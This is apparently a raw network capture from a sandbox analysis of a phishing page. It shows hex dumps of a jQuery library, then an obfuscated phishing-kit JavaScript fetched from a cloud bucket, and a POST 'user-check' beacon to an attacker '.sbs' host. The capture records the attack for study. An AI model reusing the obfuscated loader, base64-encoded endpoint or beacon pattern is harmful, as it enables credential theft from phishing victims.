2025-03-04 19:40:09 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-03-04 19:40:09 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-03-04 19:40:09 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-03-04 19:40:09 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-03-04 19:40:09 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:40:10 UTC	678	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 5425043750-1317754460.cos.ap-tokyo.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://paymentsremittance.hostingdoccentral.it.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:40:10 UTC	425	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553001 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Tue, 04 Mar 2025 19:40:10 GMT ETag: "1dd173eb0e6c62984f3a991e926bc40a" Last-Modified: Tue, 04 Mar 2025 06:11:45 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 3885182629159237577 x-cos-request-id: NjdjNzU3MWFfZTU2YzUzMGJfNTQwOV80OWE4NTMz
2025-03-04 19:40:10 UTC	7779	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 31 4e 44 49 31 4d 44 51 7a 4e 7a 55 77 4c 6e 4e 69 63 79 39 6e 62 32 39 6e 62 47 55 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 33 32 38 65 37 65 3d 5f 30 78 35 39 33 34 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 39 33 34 28 5f 30 78 31 36 63 61 30 33 2c 5f 30 78 35 34 31 62 34 63 29 7b 76 61 72 20 5f 30 78 35 66 30 63 33 63 3d 5f 30 78 32 39 66 64 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 35 39 33 34 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 66 33 64 35 62 2c 5f 30 78 31 64 38 30 64 66 29 7b 5f 30 78 33 66 33 64 35 62 3d 5f 30 78 33 66 33 64 35 62 2d 28 30 78 31 34 34 2b 30 78 32 2a 2d 30 78 38 39 35 2b 2d 30 78 39 64 2a 2d 30 78 31 64 29 3b 76 61 72 20 5f 30 78 35 31 32 61 32 64 Data Ascii: var file = "aHR0cHM6Ly81NDI1MDQzNzUwLnNicy9nb29nbGUucGhw";var _0x328e7e=_0x5934;function _0x5934(_0x16ca03,_0x541b4c){var _0x5f0c3c=_0x29fd();return _0x5934=function(_0x3f3d5b,_0x1d80df){_0x3f3d5b=_0x3f3d5b-(0x144+0x2-0x895+-0x9d-0x1d);var _0x512a2d
2025-03-04 19:40:10 UTC	16384	IN	Data Raw: 78 32 30 2e 32 72 65 6d 5c 78 32 30 72 67 62 27 2c 27 5c 78 32 30 23 37 34 37 34 37 34 3b 5c 78 32 32 27 2c 27 73 6d 2d 63 65 6e 74 65 72 5c 78 32 30 27 2c 27 6d 5c 78 32 30 72 67 62 61 28 32 32 30 27 2c 27 65 6d 5c 78 32 30 2d 5c 78 32 30 31 70 78 29 5c 78 32 30 27 2c 27 5c 78 32 30 2f 2a 77 69 64 74 68 3a 5c 78 32 30 27 2c 27 3a 5c 78 32 30 23 64 33 64 39 64 66 5c 78 32 30 27 2c 27 72 65 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 67 27 2c 27 64 61 72 79 3a 5c 78 32 30 23 36 63 37 27 2c 27 33 33 2e 33 33 33 33 33 33 25 27 2c 27 2d 73 6d 2d 31 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 5c 78 32 30 69 6e 6c 69 6e 65 5c 78 32 30 21 69 27 2c 27 62 74 6e 5c 78 32 30 7b 5c 78 32 30 70 6f 73 69 27 2c 27 64 5c 78 32 30 72 67 62 61 28 30 2c 5c 78 32 30 27 2c 27 3a 76 Data Ascii: x20.2rem\x20rgb','\x20#747474;\x22','sm-center\x20','m\x20rgba(220','em\x20-\x201px)\x20','\x20/*width:\x20',':\x20#d3d9df\x20','re\x20{\x20backg','dary:\x20#6c7','33.333333%','-sm-1\x20{\x20ma','\x20inline\x20!i','btn\x20{\x20posi','d\x20rgba(0,\x20',':v
2025-03-04 19:40:10 UTC	8168	IN	Data Raw: 3a 5c 78 32 30 61 75 74 27 2c 27 39 66 61 5c 78 32 30 21 69 6d 70 6f 72 27 2c 27 5c 78 32 30 23 65 39 65 63 65 66 5c 78 32 30 7d 27 2c 27 45 49 41 44 49 42 54 67 4d 42 27 2c 27 3d 5c 78 32 32 74 68 69 73 2e 73 74 79 27 2c 27 30 4b 7a 44 4b 77 77 51 66 4a 27 2c 27 36 63 38 63 61 5c 78 32 30 7d 5c 78 32 30 2e 74 27 2c 27 6f 72 69 65 6e 74 3a 5c 78 32 30 76 65 27 2c 27 74 6f 2c 5c 78 32 30 5c 78 32 32 48 65 6c 76 65 27 2c 27 67 2d 69 6e 6c 69 6e 65 2d 62 27 2c 27 70 3a 5c 78 32 30 63 61 6c 63 28 28 2e 27 2c 27 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 6c 61 79 27 2c 27 69 74 65 6d 2d 64 61 72 6b 5c 78 32 30 27 2c 27 38 41 47 66 53 66 68 56 34 44 27 2c 27 6c 61 6e 67 28 65 6e 29 7e 2e 27 2c 27 6e 67 3a 5c 78 32 30 33 72 65 6d 5c 78 32 30 21 27 2c 27 6e 64 2d 78 Data Ascii: :\x20aut','9fa\x20!impor','\x20#e9ecef\x20}','EIADIBTgMB','=\x22this.sty','0KzDKwwQfJ','6c8ca\x20}\x20.t','orient:\x20ve','to,\x20\x22Helve','g-inline-b','p:\x20calc((.','\x20{\x20display','item-dark\x20','8AGfSfhV4D','lang(en)~.','ng:\x203rem\x20!','nd-x
2025-03-04 19:40:10 UTC	8184	IN	Data Raw: 78 32 30 7d 5c 78 32 30 2e 62 73 27 2c 27 6e 74 65 6e 74 2d 63 65 6e 74 27 2c 27 5c 78 32 30 6d 61 78 2d 77 69 64 74 68 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 62 6b 69 74 2d 66 69 6c 65 2d 27 2c 27 2e 70 78 2d 6c 67 2d 30 5c 78 32 30 7b 27 2c 27 74 69 6f 6e 5c 78 32 30 7b 5c 78 32 30 70 61 64 27 2c 27 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 30 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 72 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 6e 27 2c 27 75 73 65 6c 2d 69 74 65 6d 2d 27 2c 27 2d 69 6e 2d 6f 75 74 2c 5c 78 32 30 62 27 2c 27 59 62 33 37 4f 62 73 58 43 78 27 2c 27 6b 69 74 2d 6f 76 65 72 66 6c 27 2c 27 6d 61 6c 5c 78 32 30 21 69 6d 70 6f 72 27 2c 27 31 38 31 38 32 5c 78 32 30 7d 5c 78 32 30 2e 6c 27 2c 27 75 74 68 2e 6e 65 74 Data Ascii: x20}\x20.bs','ntent-cent','\x20max-width','-nav\x20.drop','bkit-file-','.px-lg-0\x20{','tion\x20{\x20pad','in-left:\x200','gin:\x20.5rem','r\x20{\x20margin','usel-item-','-in-out,\x20b','Yb37ObsXCx','kit-overfl','mal\x20!impor','18182\x20}\x20.l','uth.net
2025-03-04 19:40:10 UTC	8184	IN	Data Raw: 2f 46 44 55 66 69 68 27 2c 27 6c 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 27 2c 27 38 32 33 33 33 3b 5c 78 32 30 62 6f 72 27 2c 27 69 74 65 6d 73 2d 6d 64 2d 73 27 2c 27 6c 3a 3a 61 66 74 65 72 5c 78 32 30 7b 27 2c 27 69 64 7e 2e 69 6e 76 61 6c 69 27 2c 27 62 75 74 74 6f 6e 3a 3a 2d 6d 27 2c 27 5c 78 32 30 23 30 30 34 30 38 35 3b 5c 78 32 30 27 2c 27 62 6f 74 74 6f 6d 3a 5c 78 32 30 2e 35 27 2c 27 64 74 68 3a 5c 78 32 30 31 30 30 25 5c 78 32 30 27 2c 27 6a 70 65 67 3b 62 61 73 65 36 27 2c 27 28 30 2c 5c 78 32 30 30 2c 5c 78 32 30 30 2c 5c 78 32 30 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 63 6f 6c 2d 6c 67 27 2c 27 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 33 7c 34 7c 30 7c 32 7c 31 27 2c 27 38 41 68 6d 6e 39 6f 33 2f 6f 27 2c 27 Data Ascii: /FDUfih','le\x20{\x20color','82333;\x20bor','items-md-s','l::after\x20{','id~.invali','button::-m','\x20#004085;\x20','bottom:\x20.5','dth:\x20100%\x20','jpeg;base6','(0,\x200,\x200,\x20','\x20}\x20.col-lg','der:\x208\x20}\x20.','3\|4\|0\|2\|1','8Ahmn9o3/o','
2025-03-04 19:40:10 UTC	8184	IN	Data Raw: 27 2c 27 5c 78 32 30 61 75 74 6f 3b 5c 78 32 30 68 65 69 27 2c 27 65 63 6f 6e 64 61 72 79 2e 64 27 2c 27 7d 5c 78 32 30 2e 66 6c 6f 61 74 2d 78 27 2c 27 63 65 6e 74 65 72 65 64 5c 78 32 30 7b 27 2c 27 5c 78 32 30 2d 31 35 70 78 3b 5c 78 32 30 6d 61 27 2c 27 61 6e 74 3b 5c 78 32 30 2d 6d 73 2d 66 27 2c 27 73 69 7a 65 3a 5c 78 32 30 31 33 70 78 27 2c 27 3b 5c 78 32 30 66 6f 6e 74 2d 73 69 7a 27 2c 27 3a 62 65 66 6f 72 65 5c 78 32 30 7b 5c 78 32 30 27 2c 27 2d 72 69 67 68 74 5c 78 32 32 3e 5c 78 32 30 3c 27 2c 27 6c 6f 63 6b 3b 5c 78 32 30 77 69 64 74 27 2c 27 6f 2b 36 39 6b 6c 31 38 67 72 27 2c 27 6e 74 65 78 74 2e 66 6f 72 6d 27 2c 27 65 72 3a 5c 78 32 30 35 5c 78 32 30 7d 5c 78 32 30 2e 6f 27 2c 27 70 72 65 66 65 72 72 65 64 2d 27 2c 27 5c 78 32 30 2e 62 Data Ascii: ','\x20auto;\x20hei','econdary.d','}\x20.float-x','centered\x20{','\x20-15px;\x20ma','ant;\x20-ms-f','size:\x2013px',';\x20font-siz',':before\x20{\x20','-right\x22>\x20<','lock;\x20widt','o+69kl18gr','ntext.form','er:\x205\x20}\x20.o','preferred-','\x20.b
2025-03-04 19:40:10 UTC	8184	IN	Data Raw: 78 32 30 70 61 27 2c 27 2d 5c 78 32 30 31 70 78 29 3b 5c 78 32 30 62 6f 27 2c 27 3a 5c 78 32 30 31 2e 35 72 65 6d 5c 78 32 30 21 27 2c 27 4e 56 65 54 44 27 2c 27 63 28 31 30 30 25 5c 78 32 30 2d 5c 78 32 30 34 27 2c 27 6f 6c 6f 72 3a 5c 78 32 30 23 31 35 35 27 2c 27 5c 78 32 30 6d 74 2d 34 5c 78 32 32 3e 5c 78 32 30 3c 69 27 2c 27 6e 74 2d 66 61 6d 69 6c 79 3a 27 2c 27 76 65 72 2d 62 6f 64 79 5c 78 32 30 7b 27 2c 27 3a 5c 78 32 30 76 65 72 74 69 63 61 6c 27 2c 27 70 6c 61 69 6e 74 65 78 74 5c 78 32 30 27 2c 27 6f 72 64 65 72 2d 78 6c 2d 31 27 2c 27 78 2d 70 72 65 66 65 72 72 65 27 2c 27 5d 5c 78 32 30 2e 61 72 72 6f 77 2c 5c 78 32 30 27 2c 27 73 72 63 3d 5c 78 32 32 68 74 74 70 73 27 2c 27 75 70 3e 2e 63 61 72 64 3a 66 27 2c 27 5c 78 32 37 25 33 45 25 33 Data Ascii: x20pa','-\x201px);\x20bo',':\x201.5rem\x20!','NVeTD','c(100%\x20-\x204','olor:\x20#155','\x20mt-4\x22>\x20<i','nt-family:','ver-body\x20{',':\x20vertical','plaintext\x20','order-xl-1','x-preferre',']\x20.arrow,\x20','src=\x22https','up>.card:f','\x27%3E%3
2025-03-04 19:40:10 UTC	8184	IN	Data Raw: 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 59 6e 41 56 51 54 79 53 65 41 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 62 74 27 2c 27 70 6c 61 79 3a 6e 6f 6e 65 5c 78 32 32 27 2c 27 5c 78 32 30 23 64 63 33 35 34 35 5c 78 32 30 7d 27 2c 27 6f 70 5c 78 32 30 2e 61 72 72 6f 77 5c 78 32 30 27 2c 27 74 6f 6d 2d 63 6f 6e 74 72 6f 27 2c 27 77 3a 3a 62 65 66 6f 72 65 5c 78 32 30 27 2c 27 72 6f 6c 2d 70 6c 61 69 6e 74 27 2c 27 65 61 6e 29 5c 78 32 37 2c 5c 78 32 37 53 65 67 27 2c 27 77 79 51 58 58 27 2c 27 73 74 2d 63 68 69 6c 64 5c 78 32 30 2e 27 2c 27 2f 73 76 67 25 33 45 5c 78 32 32 29 5c 78 32 30 27 2c 27 65 72 74 2d 64 61 6e 67 65 72 27 2c 27 69 7a 65 3a 5c 78 32 30 31 34 70 78 3b 27 2c 27 65 66 74 3a 5c 78 32 30 2e 32 35 72 65 27 2c 27 74 61 6c 69 Data Ascii: 0{\x20disp','YnAVQTySeA','\x20.5)\x20}\x20.bt','play:none\x22','\x20#dc3545\x20}','op\x20.arrow\x20','tom-contro','w::before\x20','rol-plaint','ean)\x27,\x27Seg','wyQXX','st-child\x20.','/svg%3E\x22)\x20','ert-danger','ize:\x2014px;','eft:\x20.25re','tali
2025-03-04 19:40:10 UTC	8184	IN	Data Raw: 2c 5c 78 32 30 2e 62 27 2c 27 6f 63 6b 71 75 6f 74 65 5c 78 32 30 7b 27 2c 27 30 30 3b 5c 78 32 30 62 6f 72 64 65 72 27 2c 27 7d 5c 78 32 30 2e 6d 2d 6c 67 2d 34 5c 78 32 30 27 2c 27 3a 5c 78 32 30 69 6e 6c 69 6e 65 5c 78 32 30 21 27 2c 27 6d 64 3e 2e 63 6f 6e 74 61 69 27 2c 27 7a 68 77 72 4a 27 2c 27 6a 6f 34 69 6e 4b 44 64 53 4e 27 2c 27 67 6e 3a 5c 78 32 30 62 6f 74 74 6f 6d 27 2c 27 6d 3a 66 69 72 73 74 2d 63 68 27 2c 27 32 35 29 5c 78 32 30 7d 5c 78 32 30 2e 6e 61 76 27 2c 27 5c 78 32 32 63 6f 6e 74 61 69 6e 65 72 27 2c 27 5c 78 32 30 2e 69 6e 70 75 74 2d 67 72 27 2c 27 5c 78 32 32 3e 5c 78 32 30 3c 64 69 76 3e 5c 78 32 30 3c 27 2c 27 6f 77 3a 5c 78 32 30 31 3b 5c 78 32 30 6d 61 78 27 2c 27 23 76 65 72 69 66 54 65 6c 70 27 2c 27 64 5c 78 32 30 2e 63 Data Ascii: ,\x20.b','ockquote\x20{','00;\x20border','}\x20.m-lg-4\x20',':\x20inline\x20!','md>.contai','zhwrJ','jo4inKDdSN','gn:\x20bottom','m:first-ch','25)\x20}\x20.nav','\x22container','\x20.input-gr','\x22>\x20<div>\x20<','ow:\x201;\x20max','#verifTelp','d\x20.c
2025-03-04 19:40:10 UTC	8184	IN	Data Raw: 30 35 37 3b 5c 78 32 30 27 2c 27 72 6f 77 5c 78 32 30 6e 6f 77 72 61 70 27 2c 27 6e 67 3a 5c 78 32 30 2e 33 37 35 72 65 27 2c 27 66 6f 63 75 73 5c 78 32 30 7b 5c 78 32 30 6f 75 27 2c 27 3b 5c 78 32 30 70 6f 69 6e 74 65 72 2d 27 2c 27 2e 6e 61 76 62 61 72 2d 64 61 27 2c 27 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 27 2c 27 65 72 74 2d 64 61 72 6b 5c 78 32 30 2e 27 2c 27 78 2d 70 6c 61 63 65 6d 65 6e 27 2c 27 61 74 65 6d 65 6e 74 3c 2f 61 27 2c 27 3a 5c 78 32 30 2e 35 72 65 6d 3b 5c 78 32 30 6d 27 2c 27 72 3a 5c 78 32 30 23 31 31 37 61 38 62 27 2c 27 6e 74 72 6f 6c 2d 72 61 6e 67 27 2c 27 79 3a 5c 78 32 30 6e 6f 6e 65 5c 78 32 30 7d 5c 78 32 30 27 2c 27 69 64 74 68 3a 31 31 39 39 2e 27 2c 27 63 74 69 76 65 3a 66 6f 63 75 27 2c 27 65 6d 2d 64 61 6e 67 65 72 2e Data Ascii: 057;\x20','row\x20nowrap','ng:\x20.375re','focus\x20{\x20ou',';\x20pointer-','.navbar-da','<div\x20class','ert-dark\x20.','x-placemen','atement</a',':\x20.5rem;\x20m','r:\x20#117a8b','ntrol-rang','y:\x20none\x20}\x20','idth:1199.','ctive:focu','em-danger.

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:40:12 UTC	678	OUT	POST /google.php HTTP/1.1 Host: 5425043750.sbs Connection: keep-alive Content-Length: 13 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://paymentsremittance.hostingdoccentral.it.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://paymentsremittance.hostingdoccentral.it.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:40:12 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2025-03-04 19:40:12 UTC	312	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:40:12 GMT Server: Apache Access-Control-Allow-Origin: https://paymentsremittance.hostingdoccentral.it.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-04 19:40:12 UTC	27	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 10{"status":false}0